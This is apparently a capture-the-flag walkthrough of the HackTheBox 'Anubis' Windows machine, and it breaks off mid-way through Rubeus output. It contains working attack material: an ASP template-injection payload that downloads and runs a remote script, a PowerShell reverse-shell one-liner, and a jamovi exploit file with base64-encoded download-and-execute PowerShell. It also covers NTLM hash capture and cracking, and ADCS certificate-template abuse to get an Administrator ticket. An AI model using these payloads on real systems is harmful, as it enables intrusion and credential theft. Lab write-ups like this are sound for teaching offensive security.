Home Anubis
Post
Cancel
image alternative text

Anubis

Anubis is Windows box which introduces SSTI/XSS vulnerability for initial foothold in Docker, followed by Jamovi CVE and Exploiting AD CS

Enumeration

NMAP

NMAP will be ran on all ports:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
Nmap scan report for 10.10.11.102
Host is up, received user-set (0.034s latency).
Scanned at 2022-03-08 12:38:44 GMT for 223s
Not shown: 65531 filtered tcp ports (no-response)
PORT      STATE SERVICE       REASON  VERSION
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
443/tcp open  ssl/http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: 2022-03-08T13:50:35+00:00; +1h01m25s from scanner time.
| tls-alpn: 
|_  http/1.1
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=www.windcorp.htb
| Subject Alternative Name: DNS:www.windcorp.htb
| Issuer: commonName=www.windcorp.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-05-24T19:44:56
| Not valid after:  2031-05-24T19:54:56
| MD5:   e2e7 86ef 4095 9908 14c5 3347 cdcb 4167
| SHA-1: 7fce 781f 883c a27e 1154 4502 1686 ee65 7551 0e2a
| -----BEGIN CERTIFICATE-----
| MIIDLTCCAhWgAwIBAgIQGTQcHTu8XrtFZ6hwEkAoKTANBgkqhkiG9w0BAQsFADAb
| MRkwFwYDVQQDDBB3d3cud2luZGNvcnAuaHRiMB4XDTIxMDUyNDE5NDQ1NloXDTMx
| MDUyNDE5NTQ1NlowGzEZMBcGA1UEAwwQd3d3LndpbmRjb3JwLmh0YjCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAK79Y9DwPj7s4/vGfCx8Smiq921EsKI9
| UQLB6ctOlXifp+YGwRKmDjPiRBsRaBcrQJyW8B3s8NKU1mt8dIX0bbn6gqBezeXg
| cu+VXV/5HJmVQ5jxNe02NoY1l+5UBvmfpwRJmUvW+mO5dShhilDsNjPYYhydbme9
| ap6UeFG7zwHfDKywUAFonbyxZcmFvaWUbbswNh0Hc0l7qAIddU8+O4azNNLzBgot
| dstmd5PXMXtX4bdvupAV+PIhsu8ddsbSFAKxh7GLnmNDUv0/Jy1IQRfvpnjFNWAL
| oeQzNmNnzCTNgoB9V7eAnPXCOLulq2geCaJ19WlYRrMc+lzIR/C4wB0CAwEAAaNt
| MGswDgYDVR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcD
| ATAbBgNVHREEFDASghB3d3cud2luZGNvcnAuaHRiMB0GA1UdDgQWBBQu0cbQ/zqK
| aIeIy021WpVKOzBX8TANBgkqhkiG9w0BAQsFAAOCAQEAiyR1RyIWHuLR17cb45U+
| 3rmflhQozUfNm1QMTGXQerX1s5p+Uw0rh7OdJe4VTE7smVPHiFJYzMlrvxl3p6Ur
| UREF7ymW6NkriFZFSFKswHlWR9o5UwNG2QUAN8VjHBuOZT1LP8vgxRT290xh9G2w
| i3Y3R5WA5FLYPYbNBJ7FZUbdMUkvQZI2DL9bd3ZLptqqlk/62kDrIRN2ctq8R6+c
| C+h4MLd5L8Eoftf+5r1SrxTg3cD7ex2bm5cZmLhmtEYA6L1RkUPuf132Fb98URSE
| +heFt1xpfM/EREhI+iwhFhTsDydrebtm9/HlxmDhd8OJqsFXmPWd6cw/llxONk9c
| bA==
|_-----END CERTIFICATE-----

445/tcp   open  microsoft-ds? syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49709/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2022-03-08T13:44:00
|_  start_date: N/A
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 33371/tcp): CLEAN (Timeout)
|   Check 2 (port 29705/tcp): CLEAN (Timeout)
|   Check 3 (port 30756/udp): CLEAN (Timeout)
|   Check 4 (port 46992/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 1h02m08s

Windows and running web server. The ports that seem most interessting after the first glance are 443 and 445, but let’s see…

SMB

CrackMapExec

1
2
luka@kali:~$ crackmapexec smb 10.10.11.102
SMB         10.10.11.102    445    EARTH            [*] Windows 10.0 Build 17763 x64 (name:EARTH) (domain:windcorp.htb) (signing:True) (SMBv1:False)

Computername should be EARTH, while being part of windcorp.htb Domain. SMB1 is not enabled while SMB signing is.

SMBClient

1
2
3
4
5
6
7
8
9
10
11
12
luka@kali:~$ smbclient -N -L //10.10.11.102
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.102 failed (Error NT_STATUS_IO_TIMEOUT)
Unable to connect with SMB1 -- no workgroup available

luka@kali:~$ smbclient -U '' -L //10.10.11.102 
Enter WORKGROUP\'s password: 
session setup failed: NT_STATUS_LOGON_FAILURE

Anonymous login appears to be succesfull however we don’t get any share listing back.

Add DNS Records to /etc/hosts

So let’s add following entries:

1
10.10.11.102  www.windcorp.htb windcorp.htb earth earth.windcorp.htb

Web Server (Port 443)

All requestes will be ran through Burp proxy, so i do recommend to have Burp or another proxy running Now after enumerating a bit, it seems that there is contact form which accepts our input and actually does something with it.

SSTI in ASP

Now Hacktricks https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection has some information about ASP SSTI payloads which is exactly what we need If we pay attention where request goes to after submiting the for, we would notice that it goes to https://www.windcorp.htb/preview.asp, so we’re dealing with ASP. Let’s try the payload So there we have it! Contact form is vulnerable to SSTI,

Initial Foothold exploiting SSTI on webserver01

We will use following payload for SSTI in order to get shell. Payload is VB Script.

1
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.17/shell.ps1')").StdOut.ReadAll() %>

Shell ps1 will be simple PS TCP Oneliners

1
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.17",8081);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

If everything has been done right, shell should pop on webserver01 So we are NT AUTHORITY/SYSTEM however in a Docker environment, so that’s not the end! :)

Enumeration - webserver01

So we’ve got onto webserver01 and as it appears, we’re in some kind of Docker Container. Every request sent to www.windcorp.htb (or better said, every request sent to that server) it get’s routed in the backend. We can see that if try to reach www.windcorp.htb and then some not existing page. If we check ipconfigs output, we can try enumerate the gateway

1
2
3
4
5
6
7
8
9
10
11
12
PS C:\windows\system32\inetsrv> ipconfig

Windows IP Configuration


Ethernet adapter vEthernet (Ethernet):

   Connection-specific DNS Suffix  . : htb
   Link-local IPv6 Address . . . . . : fe80::5c15:5d65:b73:c84a%32
   IPv4 Address. . . . . . . . . . . : 172.27.199.150
   Subnet Mask . . . . . . . . . . . : 255.255.240.0
   Default Gateway . . . . . . . . . : 172.27.192.1

Also arp -a doesn’t show any other hosts on layer2 (MAC)

1
2
3
4
5
6
7
8
PS C:\windows\system32\inetsrv> arp -a

Interface: 172.27.199.150 --- 0x20
  Internet Address      Physical Address      Type
  172.27.192.1          00-15-5d-f2-84-be     dynamic   
  224.0.0.22            01-00-5e-00-00-16     static    
  224.0.0.251           01-00-5e-00-00-fb     static    
  224.0.0.252           01-00-5e-00-00-fc     static 

There is CSR present in Administrator’s Desktop folder

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PS C:\Users\Administrator\Desktop> type req.txt
-----BEGIN CERTIFICATE REQUEST-----
MIICoDCCAYgCAQAwWzELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUx
ETAPBgNVBAoMCFdpbmRDb3JwMSQwIgYDVQQDDBtzb2Z0d2FyZXBvcnRhbC53aW5k
Y29ycC5odGIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCmm0r/hZHC
KsK/BD7OFdL2I9vF8oIeahMS9Lb9sTJEFCTHGxCdhRX+xtisRBvAAFEOuPUUBWKb
BEHIH2bhGEfCenhILl/9RRCuAKL0iuj2nQKrHQ1DzDEVuIkZnTakj3A+AhvTPntL
eEgNf5l33cbOcHIFm3C92/cf2IvjHhaJWb+4a/6PgTlcxBMne5OsR+4hc4YIhLnz
QMoVUqy7wI3VZ2tjSh6SiiPU4+Vg/nvx//YNyEas3mjA/DSZiczsqDvCNM24YZOq
qmVIxlmQCAK4Wso7HMwhaKlue3cu3PpFOv+IJ9alsNWt8xdTtVEipCZwWRPFvGFu
1x55Svs41Kd3AgMBAAGgADANBgkqhkiG9w0BAQsFAAOCAQEAa6x1wRGXcDBiTA+H
JzMHljabY5FyyToLUDAJI17zJLxGgVFUeVxdYe0br9L91is7muhQ8S9s2Ky1iy2P
WW5jit7McPZ68NrmbYwlvNWsF7pcZ7LYVG24V57sIdF/MzoR3DpqO5T/Dm9gNyOt
yKQnmhMIo41l1f2cfFfcqMjpXcwaHix7bClxVobWoll5v2+4XwTPaaNFhtby8A1F
F09NDSp8Z8JMyVGRx2FvGrJ39vIrjlMMKFj6M3GAmdvH+IO/D5B6JCEE3amuxU04
CIHwCI5C04T2KaCN4U6112PDIS0tOuZBj8gdYIsgBYsFDeDtp23g4JsR6SosEiso
4TlwpQ==
-----END CERTIFICATE REQUEST-----

We can see that it gives us another Virtual Host that we’ll check later softwareportal.windcorp.htb Add it to the /etc/hosts file and point it to 172.27.192.1

1
2
3
4
5
6
7
8
9
luka@kali:~/htb/anubis$ openssl req -in cert -noout -text
Certificate Request:
    Data:
        Version: 1 (0x0)
        Subject: C = AU, ST = Some-State, O = WindCorp, CN = softwareportal.windcorp.htb
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (2048 bit)
                Modulus:

Setting up Proxy / Chisel

Link:

1
iwr http://10.10.14.17/chisel-x64.exe -out chisel-x64.exe

Start chisel

1
.\chisel-x64.exe client 10.10.14.17:8080 R:2080:socks

NMAP 172.27.192.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
luka@kali:~$ sudo proxychains -q nmap -sT -sV --top-ports 20 172.27.192.1
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-09 15:53 GMT
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
Nmap scan report for 172.27.192.1
Host is up (0.087s latency).

PORT     STATE  SERVICE       VERSION
21/tcp   closed ftp
22/tcp   closed ssh
23/tcp   closed telnet
25/tcp   closed smtp
53/tcp   open   domain        Simple DNS Plus
80/tcp   open   http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
110/tcp  closed pop3
111/tcp  closed rpcbind
135/tcp  open   msrpc         Microsoft Windows RPC
139/tcp  open   netbios-ssn   Microsoft Windows netbios-ssn
143/tcp  closed imap
443/tcp  closed https
445/tcp  open   microsoft-ds?
993/tcp  closed imaps
995/tcp  closed pop3s
1723/tcp closed pptp
3306/tcp closed mysql
3389/tcp closed ms-wbt-server
5900/tcp closed vnc
8080/tcp closed http-proxy
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Checking SMB it is still the same machine

1
2
luka@kali:~$ proxychains -q crackmapexec smb 172.27.192.1
SMB         172.27.192.1    445    EARTH            [*] Windows 10.0 Build 17763 x64 (name:EARTH) (domain:windcorp.htb) (signing:True) (SMBv1:False)

Enumeration of softwareportal.windcorp.htb

Opening the website in the browser through chisel tunnel won’t work, but there’s no problem getting the page back using curl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
luka@kali:~/htb/anubis$ proxychains -q curl softwareportal.windcorp.htb -n | head -n 20
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
        <meta name="description" content="" />
        <meta name="author" content="" />
        <title>Windcorp Software-Portal</title>
        <!-- Favicon-->
        <link rel="icon" type="image/x-icon" href="assets/img/favicon.ico" />
        <!-- Font Awesome icons (free version)-->
        <script src="https://use.fontawesome.com/releases/v5.15.1/js/all.js" crossorigin="anonymous"></script>
        ... CLIP ...

In order to get it work in a browser, you can add an upstream proxy in Burp.

Page should now load, however it will get stuck, as there is no internet connectivity in order to fetch some scripts. I just stopped the page load and page loaded normally:

There are few links on the page and after clicking on one of them, program will get installed “somewhere”

Checking the link, there’s an ip adress there, which seems to belong to the victim/htb machine/container.

1
http://softwareportal.windcorp.htb/install.asp?client=172.27.199.150&software=7z1900-x64.exe

Let’s change the IP.

1
http://softwareportal.windcorp.htb/install.asp?client=10.10.14.17&software=7z1900-x64.exe

Let’s start Responder with sudo responder -I tun0 and send request above.

Decoding the hash using netcat

Let’s start hashcat and see if we can get the password

1
hashcat -m 5600 ./hash /usr/share/wordlists/rockyou.txt

So there’s tha password for localadmin - Secret123

Beyond webserver01

Enumertion of SMB Shares using credentails on Earth machine

1
2
3
4
5
6
7
8
9
10
11
12
13
luka@kali:~/htb/anubis$ crackmapexec smb 10.10.11.102 -u localadmin -p Secret123 --shares
SMB         10.10.11.102    445    EARTH            [*] Windows 10.0 Build 17763 x64 (name:EARTH) (domain:windcorp.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.102    445    EARTH            [+] windcorp.htb\localadmin:Secret123 
SMB         10.10.11.102    445    EARTH            [+] Enumerated shares
SMB         10.10.11.102    445    EARTH            Share           Permissions     Remark
SMB         10.10.11.102    445    EARTH            -----           -----------     ------
SMB         10.10.11.102    445    EARTH            ADMIN$                          Remote Admin
SMB         10.10.11.102    445    EARTH            C$                              Default share
SMB         10.10.11.102    445    EARTH            CertEnroll      READ            Active Directory Certificate Services share
SMB         10.10.11.102    445    EARTH            IPC$            READ            Remote IPC
SMB         10.10.11.102    445    EARTH            NETLOGON        READ            Logon server share 
SMB         10.10.11.102    445    EARTH            Shared          READ            
SMB         10.10.11.102    445    EARTH            SYSVOL          READ            Logon server share 

So credentials work. There is also one share that isn’t standard named Shared Let’s take a closer look at Shared

1
2
3
4
5
6
7
8
luka@kali:~/htb/anubis$ smbclient -U 'localadmin' \\\\10.10.11.102\\Shared
Enter WORKGROUP\localadmin's password: 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed Apr 28 15:06:06 2021
  ..                                  D        0  Wed Apr 28 15:06:06 2021
  Documents                           D        0  Tue Apr 27 04:09:25 2021
  Software                            D        0  Thu Jul 22 18:14:16 2021

So there are two folders Documents and Software. Let’s see what’s inside

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
smb: \Software\> dir
  .                                   D        0  Thu Jul 22 18:14:16 2021
  ..                                  D        0  Thu Jul 22 18:14:16 2021
  7z1900-x64.exe                      N  1447178  Mon Apr 26 21:10:08 2021
  jamovi-1.6.16.0-win64.exe           N 247215343  Mon Apr 26 21:03:30 2021
  VNC-Viewer-6.20.529-Windows.exe      N 10559784  Mon Apr 26 21:09:53 2021

                9034239 blocks of size 4096. 3093827 blocks available
...CLIP...
smb: \Documents\Analytics\> dir
  .                                   D        0  Tue Apr 27 18:40:20 2021
  ..                                  D        0  Tue Apr 27 18:40:20 2021
  Big 5.omv                           A     6455  Tue Apr 27 18:39:20 2021
  Bugs.omv                            A     2897  Tue Apr 27 18:39:55 2021
  Tooth Growth.omv                    A     2142  Tue Apr 27 18:40:20 2021
  Whatif.omv                          A     2841  Thu Mar 10 10:49:57 2022

                9034239 blocks of size 4096. 3093827 blocks available

Download Jamovi to local machine and install

In Software there are 3 exe files and in Documents\Analytics we have 4 omv Files which belong to Jamovi Software. One of them is recent - Whatif.omv. Searching the internet, there’s seems to be vulnerability in Jamovi <=1.6.18: https://github.com/theart42/cves/blob/master/CVE-2021-28079/CVE-2021-28079.md According to the .exe file found in Software folder, jamovi’s version should be 1.6.16. So the plan now is to grab the jamovi-1.6.16.0-win64.exe and Whatif.omv and put them to Windows box.

1
2
3
4
5
6
7
8
#still in smbclient
...
smb: \Documents\Analytics\> get Whatif.omv
getting file \Documents\Analytics\Whatif.omv of size 2841 as Whatif.omv (19,5 KiloBytes/sec) (average 19,5 KiloBytes/sec)
...
smb: \Software\> get jamovi-1.6.16.0-win64.exe
getting file \Software\jamovi-1.6.16.0-win64.exe of size 247215343 as jamovi-1.6.16.0-win64.exe (2294,1 KiloBytes/sec) (average 2291,1 KiloBytes/sec)
...

When files are on the Windows Machine, start the installer jamovi-1.6.16.0-win64.exe.

Exploiting XSS Vulnerability in Jamovi 1.16

After installation, open Jamovi and change the name of the column as shown in the screenshot

After clicking on Data>Transform alert should pop up (or whatever your payload is supposed to do;))

To exploit this, we can prepare .omv File, name it Whatif.omv and put it back to SMB Shared Share to see if there’s any user interaction present. Remember that XSS does not happen on the Server but the client side (although we assume client or script will open this file on the server!)

This is content of jamovi.js

1
require('child_process').exec("powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADEANwAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQB8AGkAZQB4AA==")

shell.ps1 is a simple tcp reverse shell onliner mentioned above already. Download itself in JS file above has been base64 encrypted using pwsh

1
2
3
4
5
PS /home/luka/htb/anubis> $text = "(New-Object Net.WebClient).downloadString('http://10.10.14.17/shell.ps1')|iex"              
PS /home/luka/htb/anubis> $bytes = [System.Text.Encoding]::Unicode.GetBytes($text)                               
PS /home/luka/htb/anubis> $EncodedText = [Convert]::ToBase64String($bytes)                                       
PS /home/luka/htb/anubis> $EncodedText                                                                           
KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADEANwAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQB8AGkAZQB4AA==

Getting RCE

So after putting Whatif.omv back to the Earth there’s a callback and we can see that shell was downloaded as well…

1
2
3
10.10.11.102 - - [10/Mar/2022:12:11:52 +0000] "GET /jamovi.js HTTP/1.1" 200 561 "http://127.0.0.1:58953/346d1e8b-594f-4084-b832-8a8fc11ab7e0/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) jamovi/6.1.9 Chrome/76.0.3809.146 Electron/6.1.9 Safari/537.36"
10.10.11.102 - - [10/Mar/2022:12:11:56 +0000] "GET /shell.ps1 HTTP/1.1" 200 762 "-" "-"
10.10.11.102 - - [10/Mar/2022:12:11:56 +0000] "GET /shell.ps1 HTTP/1.1" 200 762 "-" "-"

… followed by code execution

WHOAMI = diegocruz

So we’Re diegocruz, medium mandatory level (not an admin) and member of some webdevelopers group. No special Privileges assigned

1
2
3
4
5
6
7
8
9
10
PS C:\Windows\system32> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeMachineAccountPrivilege     Add workstations to domain     Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

Getting root on earth machine

ADCS Enumeration

So we know there are AD Certificate Services running on the machine. We’ve also seen CertEnroll Share so let’s check it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PS C:\Users\diegocruz\Desktop> cd \\earth\\CertEnroll
PS Microsoft.PowerShell.Core\FileSystem::\\earth\CertEnroll> dir


    Directory: \\earth\CertEnroll


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----        5/24/2021   7:58 PM            897 earth.windcorp.htb_windcorp-CA.crt                                    
-a----        2/25/2021  10:24 PM            885 earth.windcorp.thm_windcorp-EARTH-CA.crt                              
-a----        5/25/2021  10:03 PM            322 nsrev_windcorp-CA.asp                                                 
-a----        4/28/2021  12:11 AM            328 nsrev_windcorp-EARTH-CA.asp                                           
-a----         3/9/2022   4:42 PM            722 windcorp-CA+.crl                                                      
-a----         3/9/2022   4:42 PM            910 windcorp-CA.crl                                                       
-a----        5/24/2021   7:28 PM            734 windcorp-EARTH-CA+.crl                                                
-a----        5/19/2021   7:54 PM            928 windcorp-EARTH-CA.crl 

At this point, recommended reading: https://posts.specterops.io/certified-pre-owned-d95910965cd2 I knew this post already beforehand and i also recommend following “SpectreOps” Posts/Tweets.

Our tool of choice will be Certify from here: https://github.com/GhostPack/Certify Checking the post or the github page of the tool (Readme.md) we do see that there are plenty of commands and/or misconfigurations related to ADCS.

After enumerating a bit and running

1
Certify.exe find /vulnerable /currentuser

I’ve noticed that the group which we are member of, does have All Extended Rights privileges on Enrollment Permissions and Write permissions on the Web Template Object.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
CA Name                               : earth.windcorp.htb\windcorp-CA
    Template Name                         : Web
    Schema Version                        : 2
    Validity Period                       : 10 years
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : ENROLLEE_SUPPLIES_SUBJECT
    mspki-enrollment-flag                 : PUBLISH_TO_DS
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : Server Authentication
    mspki-certificate-application-policy  : Server Authentication
    Permissions
      Enrollment Permissions
        Enrollment Rights           : WINDCORP\Domain Admins        S-1-5-21-3510634497-171945951-3071966075-512
                                      WINDCORP\Enterprise Admins    S-1-5-21-3510634497-171945951-3071966075-519
        All Extended Rights         : WINDCORP\webdevelopers        S-1-5-21-3510634497-171945951-3071966075-3290
      Object Control Permissions
        Owner                       : WINDCORP\Administrator        S-1-5-21-3510634497-171945951-3071966075-500
        Full Control Principals     : WINDCORP\webdevelopers        S-1-5-21-3510634497-171945951-3071966075-3290
        WriteOwner Principals       : WINDCORP\Administrator        S-1-5-21-3510634497-171945951-3071966075-500
                                      WINDCORP\Domain Admins        S-1-5-21-3510634497-171945951-3071966075-512
                                      WINDCORP\Enterprise Admins    S-1-5-21-3510634497-171945951-3071966075-519
                                      WINDCORP\webdevelopers        S-1-5-21-3510634497-171945951-3071966075-3290
        WriteDacl Principals        : WINDCORP\Administrator        S-1-5-21-3510634497-171945951-3071966075-500
                                      WINDCORP\Domain Admins        S-1-5-21-3510634497-171945951-3071966075-512
                                      WINDCORP\Enterprise Admins    S-1-5-21-3510634497-171945951-3071966075-519
                                      WINDCORP\webdevelopers        S-1-5-21-3510634497-171945951-3071966075-3290
        WriteProperty Principals    : WINDCORP\Administrator        S-1-5-21-3510634497-171945951-3071966075-500
                                      WINDCORP\Domain Admins        S-1-5-21-3510634497-171945951-3071966075-512
                                      WINDCORP\Enterprise Admins    S-1-5-21-3510634497-171945951-3071966075-519
                                      WINDCORP\webdevelopers        S-1-5-21-3510634497-171945951-3071966075-3290

ADCS Full Rights over Template Abuse.

Having All Extended Rights or WriteDacl permissions on AD objects is pretty significant. Now checking the https://posts.specterops.io/certified-pre-owned-d95910965cd2 post again, we can see where we’re at:

Misconfigured Certificate Templates — ESC1 … An overly permissive certificate template security descriptor grants certificate enrollment rights to low-privileged users. Having certificate enrollment rights allows a low-privileged attacker to request and obtain a certificate based on the template. Enrollment rights are granted via the certificate template AD object’s security descriptor…

Flag ENROLLEE_SUPPLIES_SUBJECT on msPKI-Certificate-Name-Flag is set as well, as it should be, checking the Whitepaper (https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) on page 59.

There is one catch - mspki-certificate-application-policy says Server Authentication. Having Full control over the Template, this can be changed. Checking the Spectreops post there’s a reference to: https://elkement.wordpress.com/2019/06/01/sizzle-hackthebox-unintended-getting-a-logon-smartcard-for-the-domain-admin-2/

To change the AD Object’s properties we’d need a distinguishedname. In google the Search Base is not hard to find.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
PS C:\Windows\Tasks> get-domainobject -searchbase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=windcorp,DC=htb"
                                                         
usncreated             : 4133                             
name                   : Certificate Templates                                                                       
whenchanged            : 2/25/2021 9:08:28 PM             
objectclass            : {top, container}                 
showinadvancedviewonly : True                                                                                        
usnchanged             : 4133                             
dscorepropagationdata  : {5/24/2021 5:27:58 PM, 1/1/1601 12:00:02 AM}                                                
cn                     : Certificate Templates            
distinguishedname      : CN=Certificate Templates,CN=Public Key                                                      
                         Services,CN=Services,CN=Configuration,DC=windcorp,DC=htb                                    
whencreated            : 2/25/2021 9:08:28 PM             
instancetype           : 4                                
objectguid             : 3d8a891b-1256-4197-9aae-857c35e74659                                                        
objectcategory         : CN=Container,CN=Schema,CN=Configuration,DC=windcorp,DC=htb                                  
                                                                                                                     
mspki-enrollment-flag                : 8                  
mspki-certificate-name-flag          : 1                                                                             
pkidefaultcsps                       : {2,Microsoft DH SChannel Cryptographic Provider, 1,Microsoft RSA SChannel 
                                       Cryptographic Provider}                                                       
distinguishedname                    : CN=Web,CN=Certificate Templates,CN=Public Key                                 
                                       Services,CN=Services,CN=Configuration,DC=windcorp,DC=htb                      
pkidefaultkeyspec                    : 1                  
objectclass                          : {top, pKICertificateTemplate}                                                 
displayname                          : Web                
name                                 : Web                
mspki-certificate-application-policy : 1.3.6.1.5.5.7.3.1                                                             
pkiextendedkeyusage                  : 1.3.6.1.5.5.7.3.1 

Changing ACL Properties for Certificate Templates AD object

So, let us change the properties from 1.3.6.1.5.5.7.3.1 to "1.3.6.1.5.5.7.3.2", "1.3.6.1.4.1.311.20.2.2"

1
2
3
4
$rights=@("1.3.6.1.5.5.7.3.2", "1.3.6.1.4.1.311.20.2.2", "1.3.6.1.5.2.3.4")
Set-ADObject "CN=Web,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=windcorp,DC=htb" -Add @{pKIExtendedKeyUsage=$rights;"msPKI-Certificate-Application-Policy"=$rights}
# OR Replace
Set-ADObject -Identity "CN=Web,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=windcorp,DC=htb" -Replace @{"pKIExtendedKeyUsage"=$rights;"msPKI-Certificate-Application-Policy"=$rights}

Check

1
2
3
4
5
.\Certify.exe find /vulnerable /currentuser
...CLIP...
    pkiextendedkeyusage                   : Client Authentication, Server Authentication, Smart Card Logon
    mspki-certificate-application-policy  : Client Authentication, Server Authentication, Smart Card Logon
...CLIP...

Requesting Certificate for Administrator with diegocruz

So Properties have been changed, now we should be able to grab a certificate for Administrator as this user is in Domain Admins group.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
                                                                                                    
   _____          _   _  __                                                                                          
  / ____|        | | (_)/ _|                                                                                         
 | |     ___ _ __| |_ _| |_ _   _                                                                                    
 | |    / _ \ '__| __| |  _| | | |                                                                                   
 | |___|  __/ |  | |_| | | | |_| |                                                                                   
  \_____\___|_|   \__|_|_|  \__, |                                                                                   
                             __/ |                                                                                   
                            |___./                                                                                   
  v1.0.0                                                                                                             
                                                                                                                     
[*] Action: Request a Certificates                                                                                   
                                                                                                                     
[*] Current user context    : WINDCORP\diegocruz                                                                     
[*] No subject name specified, using current context as subject.
                                                                                                                     
[*] Template                : Web                                                                                    
[*] Subject                 : CN=Diego Cruz, OU=MainOffice, DC=windcorp, DC=htb
[*] AltName                 : Administrator                                                                          
                                                                                                                     
[*] Certificate Authority   : earth.windcorp.htb\windcorp-CA    
                                                                                                                     
[*] CA Response             : The certificate had been issued.

Save the cert.pem part and convert using openssl on Kali/attackers-box

1
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Make it readable

1
chmod +r /var/www/html/cert.pfx

Copy to Anubis Box

1
powershell iwr http://10.10.14.6/cert.pfx -o cert.pfx

Make sure to grab newer version of Rubeus

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
PS C:\Windows\Tasks> .\Rubeus2.exe asktgt /user:Administrator /certificate:cert.pfx
.\Rubeus2.exe asktgt /user:Administrator /certificate:cert.pfx

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.6.0 

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=Diego Cruz, OU=MainOffice, DC=windcorp, DC=htb 
